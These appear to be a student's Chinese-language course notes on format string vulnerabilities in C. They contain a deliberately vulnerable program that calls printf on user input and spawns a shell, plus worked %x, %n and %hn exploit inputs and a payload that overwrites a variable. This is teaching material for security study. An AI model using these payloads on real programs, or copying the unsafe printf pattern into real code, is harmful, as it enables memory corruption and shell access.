Skip to content

Format String Vulnerability

:material-circle-edit-outline: 约 882 个字 :fontawesome-solid-code: 34 行代码 :material-clock-time-two-outline: 预计阅读时间 3 分钟

03_format_string

软件安全原理和实践(本)2024-10-22 第 3-5 节 前面两节课讲了个高级 BROP,没听,但说不怎么考,但还是抽时间听一下

the attacker can perform read and write to arbitrary memory addresses

Variable Number of Arguments

以下均是 C++里的原理

printf 这类函数有个小特点,就是可以给他任意个参数

下面举个例子来解释其实现逻辑

下图这个函数会接收任意个参数,但是有一个 argcount 指明会输入多少个

printf 没有直接输入 argcount,是通过扫描第一个参数格式化字符串的 %,一个一个取出参数放进%来间接确定的

img

关于任意个参数的输入有四个重要的宏:va_start, va_copy, va_arg, va_end,以及一个类型对象 va_list

va_list

va_list 是一个类型,holding the information needed by the macros

声明的变量是一个指向参数的指针,对应上图里的 argptr

va_start

void va_start( va_list ap, parmN );

这是一个参数,初始化 va_list,使其指向第一个参数的位置,其位置是可以确定的,因为 caller 调用 callee 时函数参数是逆序压入 stack 的,第一个参数在最低的位置

va_arg

T va_arg( va_list ap, T );

用于遍历参数(将参数从 stack 读取出来),T 用于指示参数的类型,不同类型在 stack 上的宽度是不一样的

每次读取后 va_list 会移动到下一个未读取的参数

va_end

void va_end( va_list ap );

free 掉 va_list

漏洞

如果 argcount 大了,我们就能读取到 stack 上的其它东西了

How To Exploit

准备攻击的程序

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

long int id = 1;

void get_shell()
{
    if(id == 1234)
       system("/bin/sh");
}

void echo()
{
    printf("You can type exactly 256 charecters ...\n");
    printf("Address of id is %p \n", &id);
    char buffer[256];
    read(STDIN_FILENO, buffer, 256);
    printf(buffer);
    printf("id is %ld \n",id);
    puts("done");
    return;
}
int main(int argc, char* argv[])
{
    echo();
    return 0;
}

stack 情况

img

读 stack

我们输入 AAAA.%x.%x.%x.%x.%x.%x.%x

会得到 AAAA.ffffd09c.100.80491fe.ffffd144.f7fbe780.f7d93374.41414141

因为 printf(buffer); 时 printf 会扫描这个字符串,此时这个字符串的地址(即 buffer 地址)作为 printf 唯一的参数,自然是被 va_list 指向的,所以每一个%对应一次 va_list 移动,最后的 41414141 意味着我们最后移动到了 buffer 的位置

写 stack

我们输入 0x804c02c.%x.%x.%x.%x.%x.%x.%n,前面那个地址是 id 变量的地址

%n 会输入一个变量地址,printf 会将 %n 之前已打印的字符数量交给这个变量

到 %n 时 va_list 刚好指向了 buff,即 0x804c02c,然后变量 id 就会被修改了

我们接下来来点更好玩的

Change Data to Arbitrary Value

pad

我们要利用到 printf 格式化字符串的机制 pad,例如 %.5d 会保证输出为 5 个数字,不足前面就补 0,%5d 则前面补空格

这样就能随意修改在终端上输出的字符数量,即修改 %n 对应的变量

例如我们输入 0x804c02c%8x%8x%8x%8x%8x%1000000x%n,能将 id 修改为 1000044

很明显这个太慢了,id 这个是有四个 byte 的,我们尝试分两部分,分别修改

  • %hn 只会输入 short 类型的指针地址,即 2byte
  • %hhn 只会输入 char 类型的指针地址,即 1byte

这样 pad 的数量就少多了:

payload = b""
payload += p32(id_addr + 2) 
payload += b"@@@@"
payload += p32(id_addr) 
payload += b"%8x%8x%8x%8x%8x"
payload += b"%26196x%hn%4369x%hn"

此时 stack 长这样

|ffffcfac|100|80491fe|ffffd054|f7fbe780|f7d93374|804c02e|@@@@|804c02c|%8x %8x %8x %8x %8x %26196x %hn %4369x %hn

最后 id 前后两部分分别被修改为:

  • 4 (address) + 4 (@@@@) + 4 (address) + 5 × 8 + 26196 = 26248 = 0×6688
  • 26248 + 4369 = 30617 = 0×7799

即 id 修改为了 0x66887799

In fact we can use $ to move va_list directly.

%7$x will move the va_list to the seventh position in the stack

On X86-64

爬,64 位是用 reg 传递参数的

QUIZ

image-20241105205159659